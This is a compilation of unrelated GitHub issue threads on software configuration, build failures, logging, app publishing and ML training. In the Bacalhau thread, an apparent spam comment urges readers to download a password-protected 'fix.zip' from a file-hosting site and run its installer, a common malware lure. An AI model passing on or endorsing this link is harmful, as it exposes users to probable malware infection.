how to enable SMTP send from email for expiry notifications

We are in process of setting up an SMTP based send from email for expiry notifications within lemur.
As per lemur documentation(notification section), we need to enable some flask mail settings to use SMTP for notification email. We are not sure how to use it within lemur. Can somebody provide a documentation for the same?
We have the flask already installed on our virtual environment. not sure which file to edit and what to be added on the notification plugin section.
We have the below files at notification plugin section.(/opt/lemur/lemur/notifications)
-rw-rw-r-- 1 lemur nginx     0 May 10 00:00 __init__.py
-rw-rw-r-- 1 lemur nginx 15225 May 10 00:00 views.py
-rw-rw-r-- 1 lemur nginx  5082 May 10 00:00 service.py
-rw-rw-r-- 1 lemur nginx  1643 May 10 00:00 schemas.py
-rw-rw-r-- 1 lemur nginx  1196 May 10 00:00 models.py
-rw-rw-r-- 1 lemur nginx  5712 May 10 00:00 messaging.py
-rw-rw-r-- 1 lemur nginx  1354 May 10 00:00 cli.py
drwxr-xr-x 2 lemur nginx  4096 May 10 00:01 __pycache__

Also what parameters to be passed into  /opt/lemur/lemur/config/lemur.conf.py  other than below values what we have presently?
# Mail Server
LEMUR_EMAIL_SENDER='SMTP'
LEMUR_EMAIL = ' '

Do we need to include below  parameters too as mentioned in Flask-mail Documentation?
(https://pythonhosted.org/Flask-Mail/)
============================
MAIL_SERVER : default ‘localhost’
MAIL_PORT : default 25
MAIL_USE_TLS : default False
MAIL_USE_SSL : default False
MAIL_DEBUG : default app.debug
MAIL_USERNAME : default None
MAIL_PASSWORD : default None
MAIL_DEFAULT_SENDER : default None
MAIL_MAX_EMAILS : default None
MAIL_SUPPRESS_SEND : default app.testing
MAIL_ASCII_ATTACHMENTS : default False
================================

Anyone have a detailed step by step process for this, please help..
Thank you,

Simply include (with values modified as needed):
MAIL_SERVER : default ‘localhost’
MAIL_PORT : default 25
MAIL_USE_TLS : default False
MAIL_USE_SSL : default False
MAIL_DEBUG : default app.debug
MAIL_USERNAME : default None
MAIL_PASSWORD : default None
MAIL_DEFAULT_SENDER : default None
MAIL_MAX_EMAILS : default None
MAIL_SUPPRESS_SEND : default app.testing
MAIL_ASCII_ATTACHMENTS : default False

In lemur.conf.py and they will be used.
LEMUR_EMAIL should be set to the email sender.
That's all the setup that necessary.
Additionally be sure to cron the notification cli command to actually send the emails.

Thanks  @kevgliss

Thanks @kevgliss


refactor: delete old firebase invites snippets

Correct me if I'm wrong, but I think these snippets are no longer shown in the Docs.

@rosariopfernandes I think you're right about the invites module but I think the dl-invites ones (or at least some of them) are still used on this page: https://firebase.google.com/docs/dynamic-links/use-cases/user-to-user

@samtstern Oops, that's true. I'll update this PR to keep dl-invites

@rosariopfernandes :
FAILURE: Build failed with an exception.
> Configure project :test-lab:app

* What went wrong:
Project 'invites' not found in root project 'snippets-android'. Some candidates are: 'dl-invites'.

@samtstern Seems like we just spotted a flaw on our modular build :laughing:
The PR build is trying to build the invites module since it's the only one that contains changes and is not aware that it no longer exists :sweat_smile: :
Building Pull Request with
:invites:app:assembleDebug :invites:app:check

However, the build succeeds if we build the whole project.

@rosariopfernandes ah that makes sense!


non-clearnet peers

setup tor proxy
figure out i2p? never used it
setup a full node in both
figure out go support for socks proxy (I guess that's how we could make what we have "just work"?)

uuh, this is sick: https://github.com/ipsn/go-libtor
w/ regards to proxy'in, yeah, sounds very simple indeed: https://gist.github.com/Yawning/bac58e08a05fc378a8cc

rpc requests just need HTTP_PROXY=socks5://..., so, nothing to be done there.
for levin: https://github.com/cirocosta/go-monero/commit/0ffd1c5a04078788e97b4b4089f0bac06231b2ea

8fdd71fd91100b292954caeeb1cc71455aa64362 socks5 support for crawl


⚠ Bofrost.be has degraded performance

In 5be529f, Bofrost.be (https://www.bofrost.be) experienced degraded performance:

HTTP code: 200
Response time: 2639 ms

Resolved: Bofrost.be performance has improved in e759515.


Better handling of paket dependencies from script files

I started to use F# as a scripting language - its concise syntax is ideal for scripting.
With introduction of this trick it became really powerful.
However, there is a small issue. Consider following scenario. I have a single folder with multiple fsx scripts. Each script uses this trick. Every time I run one of them it overwrites paket.dependencies and paket.lock files with a different content.
I've modified original code to make a unique dependencies file for each script, however I still don't like it.
It would be great if we had public api with the dependencies file location decoupled from the packages folder.
Then we could make folder structure to look simliar to this:
+-- test1.fsx
+-- test2.fsx
+-- .fsx.dependencies
    +-- paket.exe
    +-- test1.fsx.dependencies
    +-- test1.fsx.lock
    +-- test2.fsx.dependencies
    +-- test2.fsx.lock
+-- packages
    +-- ...

The folder with scripts would not be poluted with helper files (in this scenario they are helper files as they are generated directly from fsx files).

multiple dependencies files and lock files are not supported and I don't think they are a good idea.
Instead we should think about references files for fsx files.

I agree that direct support for fsx files would be much better. Till we have it, if I'm the only one with this problem, I can live with my current solution.

I think this solved since we have load scripts


Multi-threaded Command Buffers

We should have a way to multi thread command buffers where we can split the draw calls and assign them to a secondary command buffer. This way they can all be submitted to the same render pass, and take advantage of local memory.

Out of scope for now, closing the issue and backlogging


bit/prjtrellis: add OSX target and fix cmake invocation

PR changes:

OSX support for prjtrellis
cmake invocation

Reverted build.sh formating

@mithro I think this can be merged - the fail is unrelated, prjtrellis builds fine on macOS. Are you ok with this?

LGTM! Merge if green.


Status Page Tick-Hover like Uptime Robot

📑 I have found these related issues/pull requests

🏷 Feature Request Type
Status-page
🔖 Feature description
Add Hover on ticks like Uptime Robot (see screenshot)

I know there is already a title property, but it only shows up after ~1second.
✔ Solution

❓ Alternatives

📝 Additional Context
No response

Can I take this? 🔥


Set more efficient default for mask type

With mask_type='image' a relatively big segmentation dataset took forever and worse, stalled out in unstoppable ways (unless you completely kill the process from outside)
But swapping to pixel worked instantaneously. Proposing to set it as the default for both speed and reduced memory usage

I suppose this is fine. Let's add an entry to the README though since this will change behavior for some users.

Actually it could be a breaking change now that I think about it
image always work, but is the most inefficient for a large number of ROIs and/or large image resolution
pixels only works for 2D (non volumetric) imaging, so though it's more efficient specifying it in this way would break all volumetric pipelines that don't already override the option
Maybe a better distinction for the argument could be full or sparse (with sparse auto-detecting pixel or voxel appropriately based on image dimensions)


After running for the first time, "--json" is overridden.

immediately after installing on a new machine
$ bacalhau node list --output json --api-host <IP_ADDRESS>
01:22:21.385 | INF pkg/repo/fs.go:99 > Initializing repo at '/home/azureuser/.bacalhau' for environment 'production'
[{"Info":{"NodeID":"n-d620a0f0-0ee8-4d13-9120-6cf2a6898c80","NodeType":"Requester","Labels":{"Architecture":"amd64","DISK_GB":"29","HOSTNAME":"uu5tba-vm","IP":"<IP_ADDRESS>","LOCATION":"centralus","MACHINE_TYPE":"Standard_DS1_v2","MEMORY_GB":"3.3","NODE_TYPE":"requester","ORCHESTRATORS":"<IP_ADDRESS>","Operating-System":"linux","VCPU_COUNT":"1"},"BacalhauVersion":{"Major":"1","Minor":"4","GitVersion":"v1.4.0","GitCommit":"081eabfba0d723fbd3889d8e4e59c1ffc126ad0f","BuildDate":"2024-06-28T10:14:58Z","GOOS":"linux","GOARCH":"amd64"}},"Membership":"APPROVED","Connection":"DISCONNECTED"}]

Notice the first line - even thought it was supposed to be in "json"

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

The output flag on the command wasn't ignored, the returned content is json and is written to stdout.
The first line:

01:22:21.385 | INF pkg/repo/fs.go:99 > Initializing repo at '/home/azureuser/.bacalhau' for environment 'production'

Is a log message, written to stderr.

[{"Info":{"NodeID":"n-d620a0f0-0ee8-4d13-9120-6cf2a6898c80","NodeType":"Requester","Labels":{"Architecture":"amd64","DISK_GB":"29","HOSTNAME":"uu5tba-vm","IP":"<IP_ADDRESS>","LOCATION":"centralus","MACHINE_TYPE":"Standard_DS1_v2","MEMORY_GB":"3.3","NODE_TYPE":"requester","ORCHESTRATORS":"<IP_ADDRESS>","Operating-System":"linux","VCPU_COUNT":"1"},"BacalhauVersion":{"Major":"1","Minor":"4","GitVersion":"v1.4.0","GitCommit":"081eabfba0d723fbd3889d8e4e59c1ffc126ad0f","BuildDate":"2024-06-28T10:14:58Z","GOOS":"linux","GOARCH":"amd64"}},"Membership":"APPROVED","Connection":"DISCONNECTED"}]

The rest of the output comes from the command, and is written to stdout as json.

We should NEVER EVER EVER EVER write logs to stderr unless they are errors. That is an "INFO".
Also,

We should NEVER EVER write logs to stderr unless they are errors. That is an "INFO".

Understood, will re-purpose this issue to change the default logging level for client commands to log at the Error level only.

This logs in via golang, and is indistinguishable as stdout vs. stderr

Assumedly, this is go code that is shelling out to a bacalhau binary installed on the host? If that is the case it might be worth using https://pkg.go.dev/os/exec#Cmd.StderrPipe and https://pkg.go.dev/os/exec#Cmd.StdoutPipe to differentiate errors from the app vs. output of the bacalhau command being executed.

This was partialy fixed in https://github.com/bacalhau-project/bacalhau/pull/4588 and released with v1.5.0, and now will look like:
→ bacalhau node list --output json --limit 1
Initializing repo at /Users/walid/.bacalhau
[{"Info":{"NodeID":"QmPLPUUjaVE3wQNSSkxmYoaBPHVAWdjBjDYmMkWvtMZxAf","NodeType":"Compute","Labels":{"Architecture":"amd64","Operating-System":"linux","name":"node-2","owner":"bacalhau"},"ComputeNodeInfo":{"ExecutionEngines":["wasm","docker"],"Publishers":["noop","s3","local","ipfs"],"StorageSources":["inline","s3","ipfs","urldownload"],"MaxCapacity":{"CPU":1.4,"Memory":5827443507,"Disk":1473789946675},"QueueCapacity":{},"AvailableCapacity":{"CPU":1.4,"Memory":5827443507,"Disk":1473789946675},"MaxJobRequirements":{"CPU":1.4,"Memory":5827443507,"Disk":1473789946675},"RunningExecutions":0,"EnqueuedExecutions":0},"BacalhauVersion":{"Major":"1","Minor":"5","GitVersion":"v1.5.0","GitCommit":"f9d5c971d381a26e8f9393ee7f04de4016cba13c","BuildDate":"2024-10-07T14:01:16Z","GOOS":"linux","GOARCH":"amd64"}},"Membership":"APPROVED","Connection":"CONNECTED"}]

Now all logs go to stdout instead of stderr
Client command logs are more user friendly format that is different than serve log format which is more suitable for running a server
We minimized the logs that we print in client commands such as node list and docker run. The repo initialization is only logged the very first time you use a data dir


[FALSE-POSITIVE]

https://24paybank.net/
https://bankcomat.org/
https://4ange.me/
Please list any domains and links listed here which you believe are a false positive.
More Information
How did you discover your web site or domain was listed here?  VirusTotal

Website was hacked  -No.competitors
Incorrectly marked as Phishing on Phishtank or OpenPhish? - VirusTotal

Have you requested removal from other sources?
Please include all relevant links to your existing removals / whitelistings. -
https://www.virustotal.com/gui/url/f5fae1ab2347bbc56cf0027de142bee0a01ceadbbd6e7f6f11b08d4148ea0069/detection
https://www.virustotal.com/gui/url/e5f2bb4ce15d6e2172cac5263740ebe78d49ba203bf50a40eae9b335f1e7f0b8/detection
https://www.virustotal.com/gui/url/4394354671f38d4e6facacfea629a79191e4a2859d944a11dad2fb92d98ad4c3/detection
Additional context
Add any other context about the problem here.

https://alfachange.com

https://alfachange.com


Expose --enforce-lockfile for flutter pub get

Dart introduced --enforce-lockfile in 2.19. However, it seems that the flag isn't exposed in Flutter 3.7.
Executing flutter pub get --enforce-lockfile returns the following error,
Could not find an option named "enforce-lockfile".

It'll be great if the option is exposed.

Hello @Pante. Looks like this option exists in the master channel. If you want to request a cherry-pick to the stable channel, you can look at filling the CP request template here. But since this already exists in master, I am closing this issue. Thank you

I am also running into this issue.
Is there any specific timeline when this gets resolved, or can we expect that the "master channel" will be automatically included in the next major Flutter-release (perhaps 3.8)?


Issue about pretrain loss

Hi!
Thanks for the great work!
I encountered an issue during the pretraining stage.
I was fine-tuning the vision tower, the linear adapter, and the Large Language Model (LLM) in the pretraining stage. The loss decreased to around 0.7X at 0.02, but it suddenly spiked to over 20. After some time, it gradually decreased to around 6.x. Is this normal? And why did this happen?

Hi! Thanks for the great work! I encountered an issue during the pretraining stage. I was fine-tuning the vision tower, the linear adapter, and the Large Language Model (LLM) in the pretraining stage. The loss decreased to around 0.7X at 0.02, but it suddenly spiked to over 20. After some time, it gradually decreased to around 6.x. Is this normal? And why did this happen?

It is so wired. Could you provide your training script? Have you modified any training code?

Hi! Thanks for the great work! I encountered an issue during the pretraining stage. I was fine-tuning the vision tower, the linear adapter, and the Large Language Model (LLM) in the pretraining stage. The loss decreased to around 0.7X at 0.02, but it suddenly spiked to over 20. After some time, it gradually decreased to around 6.x. Is this normal? And why did this happen?

It is so wired. Could you provide your training script? Have you modified any training code?

Shure，I just follow the LLaVa1.5.
 I will fix that and tell you later.

Hi! Thanks for the great work! I encountered an issue during the pretraining stage. I was fine-tuning the vision tower, the linear adapter, and the Large Language Model (LLM) in the pretraining stage. The loss decreased to around 0.7X at 0.02, but it suddenly spiked to over 20. After some time, it gradually decreased to around 6.x. Is this normal? And why did this happen?

It is so wired. Could you provide your training script? Have you modified any training code?

Sure，I just follow the LLaVa1.5.
 I will fix that and tell you later. My modifications to the training code did not influence the results with the llava dataset.

I found you close this issue. Did you solve it?

Hi! Thanks for the great work! I encountered an issue during the pretraining stage. I was fine-tuning the vision tower, the linear adapter, and the Large Language Model (LLM) in the pretraining stage. The loss decreased to around 0.7X at 0.02, but it suddenly spiked to over 20. After some time, it gradually decreased to around 6.x. Is this normal? And why did this happen?

It is so wired. Could you provide your training script? Have you modified any training code?

Sure，I just follow the LLaVa1.5.
 I will fix that and tell you later. My modifications to the training code did not influence the results with the llava dataset.

I found you close this issue. Did you solve it?

I changed the learning rate from 1e-3 to 2e-5, which is same as yours, and trained the vision encoder in the last half of the architecture during the pre-training stage. Finally, the loss continued to decrease to the 0.2x range.
However, I can't explain this issue, and ultimately, my results are not better than those from LLaMA1.5 based on your dataset and using the LLaMA1.5 code. Perhaps there are some other aspects that I haven't considered.

Hi! Thanks for the great work! I encountered an issue during the pretraining stage. I was fine-tuning the vision tower, the linear adapter, and the Large Language Model (LLM) in the pretraining stage. The loss decreased to around 0.7X at 0.02, but it suddenly spiked to over 20. After some time, it gradually decreased to around 6.x. Is this normal? And why did this happen?

hello,can you tell your resolvent？ thanks


Uncaught TypeError: Cannot read property 'id' of undefined

[Enter steps to reproduce:]

...
...

Atom: 1.38.2 x64
Electron: 2.0.18
OS: Unknown Windows version
Thrown From: Atom Core
Stack Trace
Uncaught TypeError: Cannot read property 'id' of undefined
At C:\Users\User\AppData\Local\atom\app-1.38.2\resources\app\static\<embedded>:11

TypeError: Cannot read property 'id' of undefined
    at horizontalPositionsToMeasure.forEach (~/AppData/Local/atom/app-1.38.2/resources/app/static/<embedded>:11:105505)
    at Map.forEach (<anonymous>)
    at TextEditorComponent.measureHorizontalPositions (~/AppData/Local/atom/app-1.38.2/resources/app/static/<embedded>:11:105387)
    at TextEditorComponent.measureContentDuringUpdateSync (~/AppData/Local/atom/app-1.38.2/resources/app/static/<embedded>:11:70978)
    at e.readDocument (~/AppData/Local/atom/app-1.38.2/resources/app/static/<embedded>:11:68094)
    at ViewRegistry.performDocumentUpdate (~/AppData/Local/atom/app-1.38.2/resources/app/static/<embedded>:11:325079)

Commands
     -8:10.1.0 find-and-replace:show (input.hidden-input)
 18x -8:04.6.0 core:confirm (input.hidden-input)
     -7:42.6.0 core:backspace (input.hidden-input)
     -7:41 core:confirm (input.hidden-input)
     -7:39 core:backspace (input.hidden-input)
     -7:37.2.0 core:confirm (input.hidden-input)
  6x -7:35 core:backspace (input.hidden-input)
 14x -7:24.9.0 core:confirm (input.hidden-input)
     -7:15.2.0 editor:consolidate-selections (input.hidden-input)
     -7:15.2.0 core:cancel (input.hidden-input)
  2x -5:35 core:backspace (input.hidden-input)
  2x -5:16.8.0 core:save (input.hidden-input)
     -3:47.2.0 core:copy (input.hidden-input)
     -3:36.9.0 core:paste (input.hidden-input)
     -3:33.8.0 core:save (input.hidden-input)
  3x -0:48.2.0 atom-beautify:beautify-editor (input.hidden-input)

Non-Core Packages
atom-beautify 0.33.4
atom-live-server 2.3.0
color-picker 2.3.0
emmet 2.4.3
minimap 4.29.9

Thanks for the report!  Can you confirm a few things for us?

What were you doing at the time of the error?
Is the error is reproducible?
If reproducible, do you see the error in safe mode (atom --safe)?

Same issue, happened when using Atom Beauty: Beautify Language JSON with CMD + MAJ + P
Atom version: 1.38.2

Same issue, happened when using Atom Beauty: Beautify Language JSON with CMD + MAJ + P
Atom version: 1.38.2

Also Atom Beautify for me, HTML File under Windows with CTRL + ALT + B

More likely to be bug in atom-beautify, happened when beautifying scripts with very long lines (minified JS).
You should report it on atom-beautify GitHub page


Examples?

It would be helpful if there were an example of how the RequestPage object is addressed in the context of running a report--or from within a report.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: ca4e8897-904a-365c-184b-3ce5dad80524
Version Independent ID: a208870a-6a0c-c0bd-150f-521a701c70ed
Content: RequestPage Data Type - Business Central
Content Source: dev-itpro/developer/methods-auto/requestpage/requestpage-data-type.md
Service: dynamics365-business-central
GitHub Login: @solsen
Microsoft Alias: solsen

Thanks, you're right - this topic doesn't describe that. We do, however, have a topic on the report object with a bit more info on the context of the request page object - you can see it here: Report Object. Don't know if that helps a bit? We have the entire reporting story in our backlog, and would really like to update these docs in a near future. Thanks.

Susanne,
Very helpful, actually.  At least there is an example of the code. The two pages should probably include each other in their See Also lists, while we are at it. Thank you!


Need publishing procedure for NPM packages

Discovered today "the hard way" that "npm publish" grabs everything in the homedir by default and includes it as part of the package, whether it's junk or not. This needs to not happen - one can use "files" in package.json and/or an ".npmignore" file, or one can use a procedure / script that does a clean checkout before the "npm publish".

Note - we already have an .npmignore file that eliminates node_modules and *~

We could use grunt build for this? Like I added for testrtc in https://github.com/webrtc/testrtc/pull/96.

I've updated .gitignore which is used if .npmignore does not exists which should suffice, at least it looks fine the last few pushed I've done. Closing this.


Don't exit terminal on process end when hidden

Currently when a window is hidden and the process exits the terminal window also exits. It would be nice if the window persisted until it was closed by the user.
Originally posted by @erichlf in https://github.com/erichlf/devcontainer-cli.nvim/pull/13#discussion_r1583045598

It might be useful to look at the following PR: https://github.com/stevearc/overseer.nvim/pull/72/files


[BUG] python user tools should always display processed apps - even if passed GPU event logs

Describe the bug
I accidentally ran the python user tools qualification against a GPU event log. The python side just reported:
Qualification tool did not generate any valid rows
This is not very user friendly. We should always report the number we processed and then if it failed or had issues report why.
It looks like rapids_4_spark_qualification_output_status.csv  in the qualification java tool output has the information needed. In this case the event log was GPU based so it didn't generate any valid rows in the rapids_4_spark_qualification_output.csv

Bumped the priority to P0.
Felix requested that this gets fixed in 24.08
Related issue: #1164 [BUG] Profiling Tool does not contain status info for failed event log

@parthosa will this also include reporting status for skipped logs (such as for Databricks Photon)?

To confirm -- will all that info show up in the CLI output in addition to the status CSV file?

yes, it will show up in the console STDOUT as part of the final report.
Later we will improve it to contain heuristics decision with a brief summary about why a specific app was excluded (this will be stdout console + writing it to a CSV file in the root folder because it combines decision from python + scala).

I discussed the problem statement with Felix. There are two problems that need to be addressed:

When there is "no output" or when there is an error cannot read file, cannot open dbfs, nothing is shown in the console.
User has to open the log file to view what happened. This is not very convenient in notebook environment

Problem 1
When there is "no output" or when there is an error cannot read file, cannot open dbfs, nothing is shown in the console.
Solution

This is partially resolved in #1187 where the status file is "always" generated on scala side.
Now, this issue will add the implementation for the remaining part - "Always" display the number of apps  Total Apps, Processed Apps, Top Candidates in the console.

For example, in case all event logs are failed/skipped/file not found, console output will be as follows:
- Application status report: /tools-run/qual_20240718000814_Bf322FFd/rapids_4_spark_qualification_output/rapids_4_spark_qualification_output_status.csv
Qualification tool found no records to show.

Report Summary:
----------------------  -
Total applications      3
Processed applications  0
Top candidates          0
----------------------  -

Problem 2
User has to open the log file to view what happened. This is not very convenient in notebook environment
Solution

We do not want to print the status report of each file in console since it can clutter the console
Since this problem is more specific to Databricks notebook, we will add a cell in the notebook that prints the rapids_4_spark_qualification_output_status.csv (as it now contains the status report of all apps)


Styling and Functionality Enhancements for Contact Us Page

ADD LABELS: GSSoC 2024 Extd, Hacktoberfest Contributor, Postman
I would like to propose several enhancements for the Contact Us page to improve its styling and overall functionality. Here are the key points for consideration:

Visual Improvements:

Adjust the color scheme of the submit button to a more vibrant color (e.g., #fa2b4d for the default and #ff032d for hover) for better visibility.
Ensure consistent padding and margin throughout the card layout to enhance the visual appeal.

Form Validation:

Implement client-side validation for form fields (name, email, and message) to ensure users fill them out correctly before submission.

Display error messages for invalid inputs.

Image Responsiveness:

Ensure the contact image remains responsive across different screen sizes by applying a max-width and height property.

Accessibility:

Include aria-labels for input fields and the submit button to improve accessibility for users relying on screen readers.

kindly add postman label also

@vishanurag Hello, contact-us.html file is missing. Kindly check as i have already completed the work and i'm ready to commit.


[BUG] Pulish app on the google play store

Could you pubilish this application again on the google play store using this new repositry?
Link to the issue in the old repositry: https://github.com/thecowan/wallpanel-android/issues/324

@TheTimeWalker Thank you so much for picking up the maintenance of this greath application.
Much appriciated!

I don't know how to continue with this yet as I don't have access to the original Play Store listing and I think @thanksmister doesn't have access anymore either. In this case, I would have to create a new app with a new app ID, which would mean that anybody currently using the app must reinstall the app and remove their old one. There is no upgrade path.

Yea we lost access to the old play store listing along with the repository.  You would need a new app ID and change the package path so it doesn’t conflict with existing path in play store.   You also need a new app signing certificate.

@TheTimeWalker @thanksmister could we contact Google and ask to restore the acount owner to the original (tanksmister) and then transfer it to TheTimeWalker?
Google schould also be able to see that the current app is dead and unavailable and schould be able to see in the history that tanksmister was the original owner and coud for instance give the current owner a few weeks to respond and otherwise transfer ownership back to tanksmister?
Or is this not possible?

New user here, so where can i find the new app in google play ?

@TheTimeWalker any updates regarding creating a new app with a new app ID for the google play store?

I never published an app as a private entity which means that there are a few lengthy processes to do on Google Play Store before the app is published.

Maybe it's a good time to think about releasing the app to the f-droid store as well. That could also attract possible contributes.

Hello,
Is there any progress on the playstore publishing?
I would love to update to a new, stable release. The last one on github is v0.10.0-beta1
Is that a recommended update?

This is currently the latest version, yes. You can use that to download and run for now as it's the same signing keys that will be used for Play Store.

You should remove the Google app store link in the readme in the meantime because currently it's a bit confusing for users.

Big fan of this app! Thanks for Picking it back up @TheTimeWalker  and @thanksmister
I think i would be OK with there just being a new app in the play store. Having it deployed via play store is critical to the automations i have built on getting these devices set up (using Intune managed device profiles to automate half the setup)
Happy to donate in order to cover your Google Play Developer fees to get this moved forward!

The play store link is still prominent in the README and it's still not available in play store. Just get a new account and re-publish the app there.

Yes, sorry for the delay! I planed to do this earlier but didn't come around to prepping it up. Let me check and merge the PR which should fix the MQTT loop bug and publish a new version which would be used for the Play Store release

Just as a small update, the app has been sent to Google Play and is currently under review. The link on the README should be the correct one as soon as the app gets approved.

 Fingers crossed on play store review! Thanks again!

The app has been reviewed and is now available in Play Store!
Link: https://play.google.com/store/apps/details?id=xyz.wallpanel.app


[main] Upgrade to latest dependencies

Cron -knative-prow-robot
/cc knative/security-guard-approvers
/assign knative/security-guard-approvers
Produced by: knative-sandbox/knobots/actions/update-deps
Details:
bumping knative.dev/serving 3e07846...78f8af6:
  > 78f8af6 Update net-contour nightly (# 13287)
  > 19cd295 update setup-ko action to v0.6 (# 13283)
  > e826275 Update net-certmanager nightly (# 13281)
  > 6bf8c1f Update net-contour nightly (# 13282)
  > 0643359 Update net-istio nightly (# 13280)
  > 85c593d Update net-gateway-api nightly (# 13279)
  > 62685b3 upgrade to latest dependencies (# 13272)
  > ab56cfe Update net-kourier nightly (# 13273)
  > 6d3d676 Tests for encryption with Kourier local gateway (# 13263)
bumping knative.dev/control-protocol f18dbde...a445e80:
  > a445e80 Update community files (# 210)
  > 135d247 upgrade to latest dependencies (# 209)
  > 6e8fbec upgrade to latest dependencies (# 207)
  > bc5f36a Update community files (# 208)
  > 70a130b Update community files (# 206)
  > afcea2f :broom: Accommodate to knative-sandbox/reconciler-test# 294 (# 197)
bumping knative.dev/networking e51df7c...215bac9:
  > 215bac9 httpproxy test image can setup TLS client with CA certs (# 708)
  > 7c9b49e upgrade to latest dependencies (# 707)
  > dba99c4 upgrade to latest dependencies (# 706)
  > 9d28d41 Update community files (# 705)
  > 99830de upgrade to latest dependencies (# 704)
bumping knative.dev/hack 664eac5...6c30196:
  > 6c30196 :broom: Rewrite unit tests in Golang (# 215)
  > f9dc722 Format go code (# 218)
bumping knative.dev/pkg 4a03844...93b66e6:
  > 93b66e6 Update: report stats for request (# 2584)
  > a650186 Make request body available in admission context (# 2583)
  > a6afcab Fix # 2115, allow selective verbs / subresources for webhooks. (# 2547)
  > da71919 split warnings. Fix issue: 2581 (# 2582)
  > 0a3c1d6 upgrade to latest dependencies (# 2580)
  > 5fbe0c3 upgrade to latest dependencies (# 2579)
  > 2f06d64 Update community files (# 2578)
  > 2e08ca6 WaitForServiceEndpoints doesn't take into account not found endpoint (# 2576)
  > 766f70d fix double close of channel (# 2574)

/lgtm
/approve


fix audit eventTime and userIdentity field

Ⅰ. Describe what this PR does
fix audit eventTime and userIdentity field
Ⅱ. Does this pull request fix one issue?
no
Ⅲ. List the added test cases (unit test/integration test) if any, please explain if no tests are needed.
Ⅳ. Describe how to verify it
Ⅴ. Special notes for reviews

LGTM


Initial README

@ludoo Could you take a look at this?

@morgante do you have responses for @ludoo?

@ludoo Please see updated README.

Looks good, even though at this stage the repo is void of content, and the README will of course change dramatically once environments start getting in.


Add identifiers to autogenerated contracts to indicate they are tests/scripts

Ref https://github.com/ethereum-optimism/optimism/pull/10222
When running forge build --sizes, which exits with an error if any contracts are over the size limit, it excludes test and script contracts from that check. It detects these contracts three ways:

If it has an IS_TEST getter that returns true.
If it has an IS_SCRIPT getter that returns true.
If it has a function that starts with a test prefix, like test, invariant, or statefulFuzz

Currently you cannot run size checks in CI with deployment because these contracts do not have an indicator to tell forge to exclude them.
I'd suggest adding bool public IS_TEST = true; and/or bool public IS_SCRIPT = true; as appropriate to autogenerated kontrol contracts.

This might be a bit tricky actually, since the forge-std Test contract also has IS_TEST, so adding that to e.g. the autogenerated DeploymentSummaryCode causes a solc error:

Error (6480): Derived contract must override function "IS_TEST". Two or more base classes define function with same name and parameter types. Since one of the bases defines a public state variable which cannot be overridden, you have to change the inheritance layout or the names of the functions.

Will think on this and ask the forge team for guidance. Perhaps the best solution is a new config item in foundry.toml to list contracts to exclude from size checks, in which case I'll close this issue. Another idea is foundry supporting multiple getters, e.g. IS_TEST_{ContractName}

Ok, so the best solution here is to run the size check as forge test --sizes --skip "/**/test/**" --skip "/**/script/**", to skip size reports for the test and script folders. The --skip filter is not yet aware of the project root, which is why you need the full absolute path there. This is a cleaner and more scalable approach as it works for all contracts (not just autogenerated ones from kontrol) and does not cause solc collisions.
As a result I'll close this issue :)


Hoping to support the wannier90 v2.x and newer

I notice that the order of M_s listed in output is 0 0 0 ... 1 1 1 ...
It is the same as wannier90 v1.x, but is different from wannier90 v2.x and newer. The M_s order of newer version of wannier90 is 0 1 0 1 0 1 ...
Considering that VASP no longer supports wannier90 v1.x since 6.2.0. Could you please add a tag to change the default setting of M_s order?
希望能够增加对新版wannier90的支持：
从输出信息来看，程序把POSCAR中的轨道加倍至自旋空间时，假定的投影子的自旋顺序是000...111...，即自旋up和自旋down分成两个区块。
但在wannier90 v2.x及以后的版本，输出的hr.dat中，投影子的自旋顺序，是按照010101..交错排列的。
通过外部自行编写的程序重写hr.dat的投影子顺序以后，运行WannSymm.x，得到了正确的对称化wannier函数。可见正确的自旋顺序在处理具有磁结构的wannier函数时，扮演着非常关键的作用。
考虑到VASP自6.2.0开始，已经仅支持对接编译wannier90 v2.x及更新版本，请问是否能够加入一个tag，以支持将WannSymm中默认的自旋顺序修改至与新版wannier90相同？

I can confirm that something is serious wrong with VASP 6.3.2 compiled with Wannier 3.1.0

Please try if the correct result can be obtained with
DFT_code = 'QE'
in the input file?

Please try if the correct result can be obtained with
DFT_code = 'QE'
in the input file?

Thanks,
But I'm already working with DFT_code=QE because of the changed spin order.
What else can I do?
On Sat, Aug 27, 2022 at 6:44 PM Chao Cao @.***> wrote:

Please try if the correct result can be obtained with
DFT_code = 'QE'
in the input file?
—
Reply to this email directly, view it on GitHub
https://github.com/ccao/WannSymm/issues/8#issuecomment-1229215857, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/ATSIGRWA6FXR4FRUMRK2TGDV3IZUDANCNFSM54PQPA6A
.
You are receiving this because you commented.Message ID:
@.***>

Please provide some more details about what kind of problem you are facing. The input files for both wannsymm and wannier90, as well as the output spreadings of wannier90 and output file of wannsymm would be minimum.

I can confirm that something is seriously wrong with VASP 6.3.2 compiled with Wannier 3.1.0

I also found this problem in VASP 6.3.0. It seems that the Wannier functions can only be constructed by the SCDM algorithm. But the SCDM algorithm does not consider any symmetries. So now I am working with VASP 5.4.4 compiled with Wannier90 3.1.0

Here it is.
The spread is quite normal, and the unsymmetrized Hamiltonian fits the DFT
bands reasonably well.
The WannSymm output file marks everything as normal.
Thanks again
On Sat, Aug 27, 2022 at 7:04 PM Chao Cao @.***> wrote:

Please provide some more details about what kind of problem you are
facing. The input files for both wannsymm and wannier90, as well as the
output spreadings of wannier90 and output file of wannsymm would be minimum.
—
Reply to this email directly, view it on GitHub
https://github.com/ccao/WannSymm/issues/8#issuecomment-1229219022, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/ATSIGRWNZ6JH7EOQO7ZKSCTV3I37XANCNFSM54PQPA6A
.
You are receiving this because you commented.Message ID:
@.***>

Did you compile VASP 6.3.x with Wannier, without COMMS=MPI? I'm trying this
now, maybe this is the issue?
On Sat, Aug 27, 2022 at 7:31 PM Fan Yang @.***> wrote:

I can confirm that something is seriously wrong with VASP 6.3.2 compiled
with Wannier 3.1.0
I also found this problem in VASP 6.3.0. It seems that the Wannier
functions can only be constructed by the SCDM algorithm. But the SCDM
algorithm does not consider any symmetries. So now I am working with VASP
5.4.4 compiled with Wannier90 3.1.0
—
Reply to this email directly, view it on GitHub
https://github.com/ccao/WannSymm/issues/8#issuecomment-1229223287, or
unsubscribe
